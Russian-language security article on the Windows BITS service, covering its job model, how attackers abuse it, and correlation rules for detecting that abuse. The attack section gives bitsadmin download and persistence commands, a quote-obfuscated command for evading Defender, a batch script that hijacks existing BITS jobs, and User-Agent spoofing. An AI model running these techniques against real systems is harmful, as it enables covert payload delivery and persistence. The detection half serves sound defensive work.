Клочки по закоулочкам
Как устроена служба BITS в Windows, и как ее атакуют
BITS — это сервис, предназначенный для загрузки и отправки файлов на серверы HTTP и SMB. Ключевые возможности BITS:
- автоматическое возобновление передачи файлов при потере сетевого соединения или ошибке;
- возможность менять скорость загрузки с учетом пропускной способности сети и потребностей других приложений.
BITS работает с «заданиями» (job, задача). Задание — это контейнер, который содержит один или несколько файлов для передачи и свойства, определяющие, как передавать файлы. У каждого задания есть приоритет. Задания с высоким приоритетом обрабатываются быстрее, чем остальные. При создании задачи определяется один из трех типов:
-
BG_JOB_TYPE_DOWNLOAD
— загрузка на локальную систему; -
BG_JOB_TYPE_UPLOAD
— передача на удаленный сервер; -
BG_JOB_TYPE_UPLOAD_REPLY
— передача на сервер и получение файла в ответ.
Состояния задач BITS
Задача BITS может находиться в состоянии одного из четырех классов: starting
, action
, transferred
и final
, которые мы рассмотрим ниже.
Начальное состояние (starting)
Жизненный цикл задания BITS начинается с его создания. Начальное состояние — BG_JOB_STATE_SUSPENDED
(задание BITS приостановлено). В этом состоянии ты можешь добавить файлы в задание и установить его свойства. Для выполнения задания можем выполнить метод Resume
. Если ты решишь выполнить задание без файлов, оно вернет код ошибки BG_E_EMPTY
и задание останется приостановленным.
Пользователь, который создал задание BITS, является его владельцем (пользователь с привилегиями администратора может стать владельцем любой задачи). Задача BITS выполняется, когда пользователь авторизован в системе с интерактивным типом входа.
Состояние действия (action)
К этому классу относятся следующие состояния:
-
BG_JOB_STATE_QUEUED
— задание находится в очереди и ждет выполнения; -
BG_JOB_STATE_CONNECTING
— служба BITS пытается подключиться к удаленному серверу. Если соединение успешно, состояние задачи изменится наBG_JOB_STATE_TRANSFERRING
, в противном случае — наBG_JOB_STATE_TRANSIENT_ERROR
; -
BG_JOB_STATE_TRANSFERRING
— BITS передает данные задания; -
BG_JOB_STATE_TRANSIENT_ERROR
— произошла ошибка, после которой передача может быть восстановлена. BITS будет пытаться выполнить задание какое‑то время, а если оно не выполнится, то состояние изменится наBG_JOB_STATE_ERROR
.
Состояние задания меняется между статусами, пока BITS не передаст все файлы из него. Если задача не выполнится в течение выделенного времени, она возвращается в состояние BG_JOB_STATE_QUEUED
и начинается передача из следующего задания.
Состояния передачи (transferred)
Задача переходит в состояние BG_JOB_STATE_TRANSFERRED
(передача данных успешно выполнена), когда файлы переданы. Дальше ты должен либо отменить, либо завершить работу этого задания.
Для успешного выполнения должны быть переданы все файлы, иначе задание завершится ошибкой — BG_JOB_STATE_ERROR
(произошла неисправимая ошибка, служба не может передать файл).
Окончательные состояния (final)
Как только задача перейдет в окончательное состояние, ты не сможешь ее изменить. Задание будет в состоянии BG_JOB_STATE_ACKNOWLEDGED
(подтверждает успешное выполнение задания) после вызова Complete
, и все загруженные файлы будут сохранены. При вызове метода Cancel
операционная система удалит загруженные файлы и состояние задачи перейдет в BG_JOB_STATE_CANCELLED
(задание отменено, удалено из очереди). Задания, которые не перейдут в окончательное состояние, будут автоматически отменены.
Как менять состояния задач
Пока задание не находится в одном из окончательных состояний, ты можешь вызвать любой из четырех методов для его изменения:
- Cancel — используется для отмены задания. Передача файлов будет отменена, а загруженные файлы — удалены.
- Complete — загруженные файлы будут сохранены, а неполностью переданные — удалены.
-
Resume — используется для перевода задания из состояния
BG_JOB_STATE_SUSPENDED
. Задания в состоянииBG_JOB_STATE_ERROR
илиBG_JOB_STATE_TRANSIENT_ERROR
будут заново выполнены. -
Suspend — используется для перевода задания в состояние
BG_JOB_STATE_SUSPENDED
. Задание будет находиться в этом состоянии до вызова методаResume
.
Эксплуатация BITS
Для работы с BITS ты можешь использовать утилиту bitsadmin.exe, которая позволяет управлять задачами BITS, либо командлеты PowerShel
После краткого знакомства с BITS у тебя уже должны появиться идеи, как можно эксплуатировать эту службу. В матрице MITRE ATT&CK BITS упоминается в нескольких тактиках:
- закрепление (Defense Evasion) — T1197 BITS Jobs;
- обход средств защиты и обнаружения (Persistence) — T1197 BITS Jobs;
- контроль и управление (Command and Control) — T1105 Ingress Tool Transfer.
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
BITS может позволить хакерам спрятать создание процесса и сетевого соединения за своей службой. Впрочем, некоторые EDR и EPP уже обнаруживают такие попытки.
Службу можно запустить так:
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
При пентесте BITS может пригодиться для разных задач:
- запустить пейлоад или скачать файл, используя процесс службы BITS;
- загрузить файл с удаленного ресурса;
- отправить файл на удаленный ресурс;
- скопировать файл локально;
- закрепиться в системе.
Действия, описанные ниже, также можно выполнить с помощью командлетов PowerShell:
- Start-BitsTransfer;
- Get-BitsTransfef;
- Suspend-BitsTransfer;
- Resume-BitsTransfer;
- Complete-BitsTransfer;
- Remove-BitsTransfer.
Подробно останавливаться на них мы не будем.
Создаем задачу для загрузки файла или локального копирования
Для создания задачи, которая будет загружать файл с удаленного ресурса, можем выполнить команды ниже.
# Создаем задачу с именем hacks
bitsadmin /create hacks
# Добавляем файл для загрузки
bitsadmin /addfile hacks http://example.com/file.txt C:\users\d3f0x0\Downloads\test.txt
# А если для копирования, то
bitsadmin /addfile hacks C:\Users\qwer\1.txt c:\users\qwer\qwer11.qwer1
# Вызываем задачу, используя метод resume
bitsadmin /resume hacks
# Подтверждаем выполнение задачи
bitsadmin /complete hacks
Как ты думаешь, что тебя ждет на этапе добавления локального файла в задачу для копирования? Правильно, Windows Defender начнет ругаться и выдавать сообщение Trojan:
.
Можем по‑быстрому подобрать количество кавычек для обфускации команды и получим
b"it"sa"dm"in /addfile hacks c:\Users\qwer\1.txt c:\users\qwer\qwer11.qwer1
Если запустить эту команду, файл все же добавится в задачу, а детект сработает уже после этого.
www
Подробнее про обфускацию cmd/bat можешь почитать в блоге Red Team Notes.
Выполняем нагрузку и закрепляемся в системе
В отличие от предыдущего способа, у нас добавляется использование команды для настройки уведомления bitsadmin /
.
# Создаем задачу с именем hacks
bitsadmin /create hacks
# Добавляем файл для загрузки
bitsadmin /addfile hacks "C:\Users\qwer\1.txt" c:\users\qwer\qwer11.qwer1
# Установка уведомления, запуск c:\windows\system32\cmd.exe
bitsadmin /SetNotifyCmdLine hacks c:\windows\system32\cmd.exe NULL
# Вызываем задачу, используя метод resume
bitsadmin /resume hacks
# Подтверждаем выполнение задачи
bitsadmin /complete hacks
Давай познакомимся с механизмом уведомлений подробнее. Мы уже знаем, что для его установки используется аргумент SetNotifyCmdLine
. Остался вопрос, когда сработает уведомление. Обратимся к документации и увидим, что определены четыре типа уведомлений:
-
1 — генерирует событие, когда все файлы в задании были переданы (статус
BG_JOB_STATE_TRANSFERRED
); -
2 — генерирует событие при возникновении ошибки (статус
BG_JOB_STATE_ERROR
); -
3 — генерирует событие, когда все файлы были переданы или возникла ошибка (по умолчанию статус
BG_JOB_STATE_TRANSFERRED
иBG_JOB_STATE_ERROR
); - 4 — отключает уведомление.
Для установки типа уведомлений можешь использовать команду
bitsadmin /SETNOTIFYFLAGS hacks 1
Установленная для уведомления команда будет дочерним процессом службы BITS. Но нужно помнить, что создание дочерних процессов от svchost.
не менее подозрительно, чем запуск утилит для работы с BITS. Тем не менее такой метод может позволить обойти некоторые поведенческие модули.
Куда более редкое применение BITS — это закрепление в системе. Для этого можно использовать все те же команды, что я приводил выше. Дело в том, что, если вызванная в рамках уведомления программа не отменила (cancel) или не завершила (complete) задание, BITS снова ее вызовет по истечении минимальной задержки (по умолчанию это 600 секунд). Для изменения значения можем использовать такую команду:
bitsadmin /setminretrydelay hacks 35
После этого BITS будет вызывать уведомление каждые 35 секунд, пока задача не перейдет в финальное состояние.
Возникает вопрос: как долго может работать такая задача? Для этого есть параметр NoProgressTimeout
, значение которого — 1 209 600 секунд (14 дней). Изменить значение можешь такой командой:
bitsadmin /setnoprogresstimeout myDownloadJob 20
В результате ты сможешь закрепиться в системе, если не выполнишь команду bitsadmin /
или bitsadmin /
.
Создаем задачу с именем hacks
:
bitsadmin /create hacks
Добавляем файл для загрузки:
bitsadmin /addfile hacks "C:\Users\qwer\1.txt" c:\users\qwer\qwer11.qwer1
Установим уведомление и запустим cmd.
:
bitsadmin /SetNotifyCmdLine hacks c:\windows\system32\cmd.exe NULL
Вызываем задачу, используя метод resume:
bitsadmin /resume hacks
И конечно, не подтверждаем или не отменяем выполнение задачи.
BITS Tamparing
Пользователь может просмотреть список своих задач, а локальный администратор — список задач всех пользователей.
Просмотр своих задач:
bitsadmin /list /verbose
Просмотр задач всех пользователей:
bitsadmin /list /verbose /allusers
Для приостановки задачи можем выполнить команду bitsadmin /
. Помнишь, что мы можем менять свойства задачи в состоянии BG_JOB_STATE_SUSPENDED
?
Думаю, ты уже увидел здесь возможность скрывать свои действия за легитимными задачами. Мы можем добавить файлы к задаче для загрузки или установить уведомление, если она создана в контексте текущего пользователя.
Теперь ответим на несколько вопросов:
- Как много программ создают задачи BITS?
- Как часто они это делают?
- От имени какой учетной записи?
Обратимся к журналу событий:
Microsoft-Windows-Bits-Client/Operational
Подробнее мы его рассмотрим позже. Сейчас нас интересует только событие с EventID
(создание задачи).
info
О том, как работать с журналами EVTX из командной строки, можешь почитать в моей статье на «Хабрахабре».
Давай отфильтруем события и сделаем группировку, используя PowerShell:
Get-WinEvent @{logname="Microsoft-Windows-Bits-Client/Operational";ID=3} | Group-Object {$_.Properties[2].value},{$_.Properties[3].value} | Select-Object Name, Count | Format-List
Результат работы команды представлен на скриншоте ниже.

Учти, что хост, для которого приведена статистика, не в домене и активен менее недели. Как видишь, шанс для нашей шалости есть. В качестве PoC можем использовать скрипт, приведенный ниже.
@echo offsetlocalREM Замените на URL вашего файлаset "filePath=http://example.com/file.zip"REM Замените на путь назначенияset "destinationPath=C:\users\qwer\file.zip"set "taskName=":checkTaskREM Получение имени первой задачи BITSfor /f "tokens=1" %%i in ('bitsadmin /list ^| findstr /i "TRANSFER"') do ( set "taskName=%%i" goto :taskFound)echo Задачи BITS не найдены. Ожидание 5 секунд перед повторной проверкой...
timeout /t 5 >nulgoto checkTask:taskFoundecho Найдено имя задачи: %taskName%REM Перевод задачи в статус suspendecho Приостановка задачи "%taskName%"...
bitsadmin /suspend "%taskName%"REM Добавление файла для загрузкиecho Добавление файла "%filePath%" для загрузки...
bitsadmin /addfile "%taskName%" "%filePath%" "%destinationPath%"REM Возобновление задачиecho Возобновление задачи "%taskName%"...
bitsadmin /resume "%taskName%"echo Готово.
endlocal
Скрипт проверяет, выполняется ли задача, переводит ее в состояние BG_JOB_STATE_SUSPENDED
, добавляет файл и вызывает ее.
При выполнении скрипта мониторинг, если он настроен, скажет тебе спасибо, так как выполняемые команды породят огромное количество событий создания процессов bitsadmin.
. Но не стоит отчаиваться, мы можем написать исполняемый файл, который будет использовать COM-интерфейс для работы с BITS.
Скрытие в HTTP-трафике
При подключении к HTTP-серверу BITS использует заголовок User-Agent:
, это может позволить синей команде тебя обнаружить. Для обнаружения осталось создать профиль с доверенными серверами, и дело в шляпе, но разработчики BITS позаботились о возможности задать кастомные HTTP-заголовки. Изменить User-Agent можем такой командой:
bitsadmin /setcustomheaders hacks User-Agent:hacker
Обнаружение
Дальше мы рассмотрим несколько техник, опираясь на следующие юзкейсы:
- использование аргументов bitsadmin.exe;
- использование командлетов PowerShell;
- создание временного файла;
- события журнала BITS;
- создание задачи процессом не из вайтлиста;
- загрузка модуля в память процесса;
- события Windows Defender.
Для обнаружения будем писать правила на языке eXtraction and Processing.
Журнал подсистемы BITS
Журнал подсистемы BITS мы рассмотрим подробнее, чем остальные, он расположен вот по такому пути:
Microsoft-Windows-Bits-Client/
Нам интересны эти события:
- 3 — создана новая задача BITS;
- 59 — задача BITS запущена;
- 60 — задача BITS остановлена;
- 4 — задача BITS завершена.
К сожалению, нет события «уведомление создано». При успешном выполнении задачи мы можем увидеть в журнале такую последовательность событий: 3 → 59 → 60 → 4.
Пример события: создана новая задача BITS
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> <System> <Provider Name="**Microsoft-Windows-Bits-Client**" Guid="**{EF1CC15B-46C1-414E-BB95-E76B077BD51E}**" /> <EventID>3</EventID> <Version>2</Version> <Level>4</Level> <Task>0</Task> <Opcode>0</Opcode> <Keywords>0x4000000000000000</Keywords> <TimeCreated SystemTime="**2024-07-29T01:24:56.717754300Z**" /> <EventRecordID>1784</EventRecordID> <Correlation /> <Execution ProcessID="**5156**" ThreadID="**4240**" /> <Channel>Microsoft-Windows-Bits-Client/Operational</Channel> <Computer>DESKTOP-5SG4NV1</Computer> <Security UserID="**S-1-5-18**" /> </System> <EventData> <Data Name="**jobTitle**">C:\Users\qwer\AppData\Local\Temp\{180E9A60-F858-492A-9055-D3B1D3F72EE9}-MicrosoftEdgeUpdateSetup_X86_1.3.195.15.exe</Data> <Data Name="**jobId**">{F8D03DEA-C49F-4A9F-BBF3-9337E409CE2C}</Data> <Data Name="**jobOwner**">DESKTOP-5SG4NV1\qwer</Data> <Data Name="**processPath**">C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe</Data> <Data Name="**processId**">4572</Data> </EventData></Event>
Интересные нам поля:
-
jobTitle
— имя задачи; -
jobId
— идентификатор задачи; -
jobOwner
— имя пользователя; -
processPath
— процесс, который создал задачу; -
processId
— идентификатор процесса, который создал задачу.
Пример события: задача BITS запущена
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> <System> <Provider Name="**Microsoft-Windows-Bits-Client**" Guid="**{EF1CC15B-46C1-414E-BB95-E76B077BD51E}**" /> <EventID>59</EventID> <Version>1</Version> <Level>4</Level> <Task>0</Task> <Opcode>1</Opcode> <Keywords>0x4000000000000000</Keywords> <TimeCreated SystemTime="**2024-07-29T01:24:56.996349300Z**" /> <EventRecordID>1785</EventRecordID> <Correlation ActivityID="**{FB9C74E7-8E45-4692-AEBB-948DFCB84498}**" /> <Execution ProcessID="**5156**" ThreadID="**2992**" /> <Channel>Microsoft-Windows-Bits-Client/Operational</Channel> <Computer>DESKTOP-5SG4NV1</Computer> <Security UserID="**S-1-5-18**" /> </System> <EventData> <Data Name="**transferId**">{FB9C74E7-8E45-4692-AEBB-948DFCB84498}</Data> <Data Name="**name**">C:\Users\qwer\AppData\Local\Temp\{180E9A60-F858-492A-9055-D3B1D3F72EE9}-MicrosoftEdgeUpdateSetup_X86_1.3.195.15.exe</Data> <Data Name="**Id**">{F8D03DEA-C49F-4A9F-BBF3-9337E409CE2C}</Data> <Data Name="**url**">http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/323fa7f7-4445-4137-82ec-71528949182a?P1=1722785097&P2=404&P3=2&P4=b%2farCiRMdKqBSgtd8%2bV%2bbnK29zSLqbnBPZJeUgvlbM7rZTcljJhLwZMe4jsUespcM4FyazgXeWCs9xKWieG4pA%3d%3d</Data> <Data Name="**peer**" /> <Data Name="**fileTime**">2024-07-24T21:10:59.000000000Z</Data> <Data Name="**fileLength**">1645112</Data> <Data Name="**bytesTotal**">1645112</Data> <Data Name="**bytesTransferred**">0</Data> <Data Name="**bytesTransferredFromPeer**">0</Data> </EventData></Event>
Интересные поля:
-
name
— имя задачи; -
Id
— идентификатор задачи; -
url
— путь до файла, который необходимо загрузить; -
fileLength
— размер файла.
Пример события: задача BITS остановлена
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> <System> <Provider Name="**Microsoft-Windows-Bits-Client**" Guid="**{EF1CC15B-46C1-414E-BB95-E76B077BD51E}**" /> <EventID>60</EventID> <Version>1</Version> <Level>4</Level> <Task>0</Task> <Opcode>2</Opcode> <Keywords>0x4000000000000000</Keywords> <TimeCreated SystemTime="**2024-07-29T01:25:20.322452500Z**" /> <EventRecordID>1786</EventRecordID> <Correlation ActivityID="**{FB9C74E7-8E45-4692-AEBB-948DFCB84498}**" /> <Execution ProcessID="**5156**" ThreadID="**7624**" /> <Channel>Microsoft-Windows-Bits-Client/Operational</Channel> <Computer>DESKTOP-5SG4NV1</Computer> <Security UserID="**S-1-5-18**" /> </System> <EventData> <Data Name="**transferId**">{FB9C74E7-8E45-4692-AEBB-948DFCB84498}</Data> <Data Name="**name**">C:\Users\qwer\AppData\Local\Temp\{180E9A60-F858-492A-9055-D3B1D3F72EE9}-MicrosoftEdgeUpdateSetup_X86_1.3.195.15.exe</Data> <Data Name="**Id**">{F8D03DEA-C49F-4A9F-BBF3-9337E409CE2C}</Data> <Data Name="**url**">http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/323fa7f7-4445-4137-82ec-71528949182a?P1=1722785097&P2=404&P3=2&P4=b%2farCiRMdKqBSgtd8%2bV%2bbnK29zSLqbnBPZJeUgvlbM7rZTcljJhLwZMe4jsUespcM4FyazgXeWCs9xKWieG4pA%3d%3d</Data> <Data Name="**peer**" /> <Data Name="**hr**">0</Data> <Data Name="**fileTime**">2024-07-24T21:10:59.000000000Z</Data> <Data Name="**fileLength**">1645112</Data> <Data Name="**bytesTotal**">1645112</Data> <Data Name="**bytesTransferred**">1645112</Data> <Data Name="**proxy**" /> <Data Name="**peerProtocolFlags**">0</Data> <Data Name="**bytesTransferredFromPeer**">0</Data> <Data Name="**AdditionalInfoHr**">0</Data> <Data Name="**PeerContextInfo**">0</Data> <Data Name="**bandwidthLimit**">18446744073709551615</Data> <Data Name="**ignoreBandwidthLimitsOnLan**">false</Data> </EventData></Event>
Интересные поля:
-
name
— имя задачи; -
Id
— идентификатор задачи; -
url
— путь до файла, который необходимо загрузить; -
fileLength
— размер файла; -
bytesTransferred
— количество переданных байтов.
Пример события: задача BITS завершена
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> <System> <Provider Name="**Microsoft-Windows-Bits-Client**" Guid="**{EF1CC15B-46C1-414E-BB95-E76B077BD51E}**" /> <EventID>4</EventID> <Version>1</Version> <Level>4</Level> <Task>0</Task> <Opcode>0</Opcode> <Keywords>0x4000000000000000</Keywords> <TimeCreated SystemTime="**2024-07-29T01:25:20.323389200Z**" /> <EventRecordID>1787</EventRecordID> <Correlation /> <Execution ProcessID="**5156**" ThreadID="**460**" /> <Channel>Microsoft-Windows-Bits-Client/Operational</Channel> <Computer>DESKTOP-5SG4NV1</Computer> <Security UserID="**S-1-5-18**" /> </System> <EventData> <Data Name="**User**">DESKTOP-5SG4NV1\qwer</Data> <Data Name="**jobTitle**">C:\Users\qwer\AppData\Local\Temp\{180E9A60-F858-492A-9055-D3B1D3F72EE9}-MicrosoftEdgeUpdateSetup_X86_1.3.195.15.exe</Data> <Data Name="**jobId**">{F8D03DEA-C49F-4A9F-BBF3-9337E409CE2C}</Data> <Data Name="**jobOwner**">DESKTOP-5SG4NV1\qwer</Data> <Data Name="**fileCount**">1</Data> <Data Name="**bytesTransferred**">1645112</Data> <Data Name="**bytesTransferredFromPeer**">0</Data> </EventData></Event>
Интересные поля:
-
jobTitle
— имя задачи; -
jobId
— идентификатор задачи; -
jobOwner
— имя пользователя; -
fileCount
— количество переданных файлов в задаче; -
processPath
— процесс, который создал задачу; -
bytesTransferred
— количество переданных байтов.
Обнаруживаем создание и завершение задачи
Давай напишем правило обнаружения рассмотренной цепочки событий.
event Bits_create_job:
key:
event_src.host, object.id
filter {
msgid == "3"
and event_src.id == "Microsoft-Windows-Bits-Client"
}
event Bits_started_download:
key:
event_src.host, object.id
filter {
msgid == "59"
and event_src.id == "Microsoft-Windows-Bits-Client"
}
event Bits_fininished_job:
key:
event_src.host, object.id
filter {
msgid == "4"
and event_src.id == "Microsoft-Windows-Bits-Client"
}
rule Create_bits_job_and_download: (Bits_create_job -> Bits_started_download ->Bits_fininished_job) timer 30m
Если в течение 30 минут будут события создания, запуска и завершения задачи с одинаковым идентификатором, зарегистрируется корреляционное событие.
Создание задачи BITS подозрительным процессом
Задачи BITS создаются процессами системы или приложений. Ты можешь сделать табличный список с доверенными процессами. Давай напишем правило корреляции, которое проверяет процесс в списке и создает событие инцидента. Нам понадобится событие с EventID
и белый список BITS_process_whitelist
.
query CheckProcess($fullpath) from BITS_process_whitelist {
regex_match($fullpath, column::fullpath)
}
event Bits_create_job:
key:
event_src.host
filter {
msgid == "3"
and event_src.id == "Microsoft-Windows-Bits-Client"
and select_query_first("CheckProcess", [lower(object.process.fullpath)], "fullpath") == null
}
rule Create_bits_job_suspicious_process: Bits_create_job
Создание дочернего процесса службой BITS
Процесс, установленный в качестве уведомления для задачи BITS, запускается от родительского процесса службы BITS:
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Пример события — ниже.
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System> <Provider Name="**Microsoft-Windows-Sysmon**" Guid="**{5770385f-c22a-43e0-bf4c-06f5698ffbd9}**" /> <EventID>1</EventID> <Version>5</Version> <Level>4</Level> <Task>1</Task> <Opcode>0</Opcode> <Keywords>0x8000000000000000</Keywords> <TimeCreated SystemTime="**2024-08-09T19:28:36.1518177Z**" /> <EventRecordID>6417785</EventRecordID> <Correlation /> <Execution ProcessID="**6208**" ThreadID="**1520**" /> <Channel>Microsoft-Windows-Sysmon/Operational</Channel> <Computer>DESKTOP-U2FH49E</Computer> <Security UserID="**S-1-5-18**" /></System><EventData> <Data Name="**RuleName**">-</Data> <Data Name="**UtcTime**">2024-08-09 19:28:36.150</Data> <Data Name="**ProcessGuid**">{95af35c7-6de4-66b6-2b09-000000000400}</Data> <Data Name="**ProcessId**">4384</Data> <Data Name="**Image**">C:\Windows\System32\cmd.exe</Data> <Data Name="**FileVersion**">10.0.19041.4355 (WinBuild.160101.0800)</Data> <Data Name="**Description**">Windows Command Processor</Data> <Data Name="**Product**">Microsoft® Windows® Operating System</Data> <Data Name="**Company**">Microsoft Corporation</Data> <Data Name="**OriginalFileName**">Cmd.Exe</Data> <Data Name="**CommandLine**">"c:\windows\system32\cmd.exe"</Data> <Data Name="**CurrentDirectory**">C:\Windows\system32\</Data> <Data Name="**User**">DESKTOP-U2FH49E\qwer</Data> <Data Name="**LogonGuid**">{95af35c7-1d58-66b5-45b9-010000000000}</Data> <Data Name="**LogonId**">0x1b945</Data> <Data Name="**TerminalSessionId**">1</Data> <Data Name="**IntegrityLevel**">Medium</Data> <Data Name="**Hashes**">SHA1=DF79C86FDD11B9CCB89148458E509F879C72566C,MD5=2B40C98ED0F7A1D3B091A3E8353132DC,SHA256=BADF4752413CB0CBDC03FB95820CA167F0CDC63B597CCDB5EF43111180E088B0,IMPHASH=272245E2988E1E430500B852C4FB5E18</Data> <Data Name="**ParentProcessGuid**">{95af35c7-6ba5-66b6-b708-000000000400}</Data> <Data Name="**ParentProcessId**">2720</Data> <Data Name="**ParentImage**">C:\Windows\System32\svchost.exe</Data> <Data Name="**ParentCommandLine**">C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS</Data> <Data Name="**ParentUser**">NT AUTHORITY\СИСТЕМА</Data></EventData></Event>
А вот правило для обнаружения подобной активности.
event Process_Start:
key:
event_src.host
filter {
filter::NotFromCorrelator()
and filter::ProcessStart_Windows_any()
and match(lower(object.process.parent.cmdline), "* -k netsvcs -p -s bits")
}
rule Start_BITS_Notifycmdline: (Process_Start+) timer 5m
Правило обнаруживает создание дочерних процессов службой BITS.
Обнаружение загрузки DLL
Для взаимодействия с BITS используются две основные библиотеки:
-
qmgrprxy.
;dll -
Microsoft.
.BackgroundIntelligentTransfer. Management. Interop. dll
Ниже — примеры событий Sysmon с EventID
. Загрузим вторую библиотеку.
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System> <Provider Name="**Microsoft-Windows-Sysmon**" Guid="**{5770385f-c22a-43e0-bf4c-06f5698ffbd9}**" /> <EventID>7</EventID> <Version>3</Version> <Level>4</Level> <Task>7</Task> <Opcode>0</Opcode> <Keywords>0x8000000000000000</Keywords> <TimeCreated SystemTime="**2024-08-10T20:29:36.5882941Z**" /> <EventRecordID>7413641</EventRecordID> <Correlation /> <Execution ProcessID="**6208**" ThreadID="**1520**" /> <Channel>Microsoft-Windows-Sysmon/Operational</Channel> <Computer>DESKTOP-U2FH49E</Computer> <Security UserID="**S-1-5-18**" /></System><EventData> <Data Name="**RuleName**">-</Data> <Data Name="**UtcTime**">2024-08-10 20:29:36.580</Data> <Data Name="**ProcessGuid**">{95af35c7-cdac-66b7-da0e-000000000400}</Data> <Data Name="**ProcessId**">6968</Data> <Data Name="**Image**">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Data> <Data Name="**ImageLoaded**">C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitsTransfer\Microsoft.BackgroundIntelligentTransfer.Management.Interop.dll</Data> <Data Name="**FileVersion**">7.8.19041.3636 (WinBuild.160101.0800)</Data> <Data Name="**Description**">Microsoft Windows BITS Managed Library</Data> <Data Name="**Product**">Microsoft® Windows® Operating System</Data> <Data Name="**Company**">Microsoft Corporation</Data> <Data Name="**OriginalFileName**">Microsoft.Windows.BackgroundIntelligentTransfer.dll</Data> <Data Name="**Hashes**">SHA1=2785F110A4A36D976A361FD9B679A0F70BF02CB1,MD5=BDE937891014AFEC14D9BE150DD0D813,SHA256=BB30E0267780BE6C5E2FBFB65C7E87147049B4088126974185848D2DDA5A484D,IMPHASH=6FA5B0E24FA9A5CEB565C17E9AE09990</Data> <Data Name="**Signed**">true</Data> <Data Name="**Signature**">Microsoft Windows</Data> <Data Name="**SignatureStatus**">Valid</Data><Data Name="**User**">DESKTOP-U2FH49E\qwer</Data></EventData></Event>
Загрузка библиотеки BitsProxy.
.
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System> <Provider Name="**Microsoft-Windows-Sysmon**" Guid="**{5770385f-c22a-43e0-bf4c-06f5698ffbd9}**" /> <EventID>7</EventID> <Version>3</Version> <Level>4</Level> <Task>7</Task> <Opcode>0</Opcode> <Keywords>0x8000000000000000</Keywords> <TimeCreated SystemTime="**2024-08-10T20:29:36.6217377Z**" /> <EventRecordID>7413644</EventRecordID> <Correlation /> <Execution ProcessID="**6208**" ThreadID="**1520**" /> <Channel>Microsoft-Windows-Sysmon/Operational</Channel> <Computer>DESKTOP-U2FH49E</Computer> <Security UserID="**S-1-5-18**" /></System><EventData> <Data Name="**RuleName**">-</Data> <Data Name="**UtcTime**">2024-08-10 20:29:36.612</Data> <Data Name="**ProcessGuid**">{95af35c7-cdac-66b7-da0e-000000000400}</Data> <Data Name="**ProcessId**">6968</Data> <Data Name="**Image**">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Data> <Data Name="**ImageLoaded**">C:\Windows\System32\BitsProxy.dll</Data> <Data Name="**FileVersion**">7.8.19041.1 (WinBuild.160101.0800)</Data> <Data Name="**Description**">Background Intelligent Transfer Service Proxy</Data> <Data Name="**Product**">Microsoft® Windows® Operating System</Data> <Data Name="**Company**">Microsoft Corporation</Data> <Data Name="**OriginalFileName**">qmgrprxy.dll</Data> <Data Name="**Hashes**">SHA1=F76CEB9DA1BD2F4E9C02E49758C654630518A066,MD5=B3E2BAEAD079C29BC16CAA7830A17FA6,SHA256=E72BF2ADCE95F764BD880A458B04BA0BEBB0EBA7EB3473A29FDBE3A98F1A86D5,IMPHASH=44BEE37A834D6E66277D9ADD2D131FC2</Data> <Data Name="**Signed**">true</Data> <Data Name="**Signature**">Microsoft Windows</Data> <Data Name="**SignatureStatus**">Valid</Data><Data Name="**User**">DESKTOP-U2FH49E\qwer</Data></EventData></Event>
Для обнаружения будем использовать уже известный тебе табличный список BITS_process_whitelist
. В правиле проверим, что процесс не входит в табличный список и имя загружаемого модуля совпадает с интересующим нас.
query CheckProcess($fullpath) from BITS_process_whitelist {
regex_match($fullpath, column::fullpath)
}
event Image_load:
key:
event_src.host
filter {
filter::NotFromCorrelator()
and msgid == "7" and event_src.title == "sysmon"
and select_query_first("CheckProcess", [lower(subject.process.fullpath)], "fullpath") == null
and in_list(["bitsproxy.dll", "microsoft.backgroundintelligenttransfer.management.interop.dll"], lower(object.process.name))
}
rule Used_bits_over_custom_binary: Image_load[1,5] timer 1m
Создание временного файла
Если ты помнишь, загруженные файлы становятся доступны только после перехода задания в состояние BG_JOB_STATE_ACKNOWLEDGED
. До того момента загруженные файлы имеют название такого вида: BIT[\
, например: BITD1F5.
. Ниже — пример события.
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System> <Provider Name="**Microsoft-Windows-Sysmon**" Guid="**{5770385f-c22a-43e0-bf4c-06f5698ffbd9}**" /> <EventID>11</EventID> <Version>2</Version> <Level>4</Level> <Task>11</Task> <Opcode>0</Opcode> <Keywords>0x8000000000000000</Keywords> <TimeCreated SystemTime="**2024-08-03T11:58:21.3914420Z**" /> <EventRecordID>55765</EventRecordID> <Correlation /> <Execution ProcessID="**1412**" ThreadID="**9448**" /> <Channel>Microsoft-Windows-Sysmon/Operational</Channel> <Computer>DESKTOP-U2FH49E</Computer> <Security UserID="**S-1-5-18**" /></System><EventData> <Data Name="**RuleName**">-</Data> <Data Name="**UtcTime**">2024-08-03 11:58:21.378</Data> <Data Name="**ProcessGuid**">{95af35c7-1a16-66ae-6226-000000000300}</Data> <Data Name="**ProcessId**">1752</Data> <Data Name="**Image**">C:\Windows\System32\svchost.exe</Data> <Data Name="**TargetFilename**">C:\Users\qwer\BITD1F5.tmp</Data> <Data Name="**CreationUtcTime**">2024-08-03 11:58:21.378</Data> <Data Name="**User**">NT AUTHORITY\СИСТЕМА</Data></EventData></Event>
Напишем правило, которое будет проверять, что имя файла соответствует паттерну bit[\
.
event Create_file:
key:
event_src.host
filter {
filter::NotFromCorrelator()
and filter::FileCreate_Windows()
and regex(lower(object.name), "bit[\w\d]+\.tmp", 0) != null
}
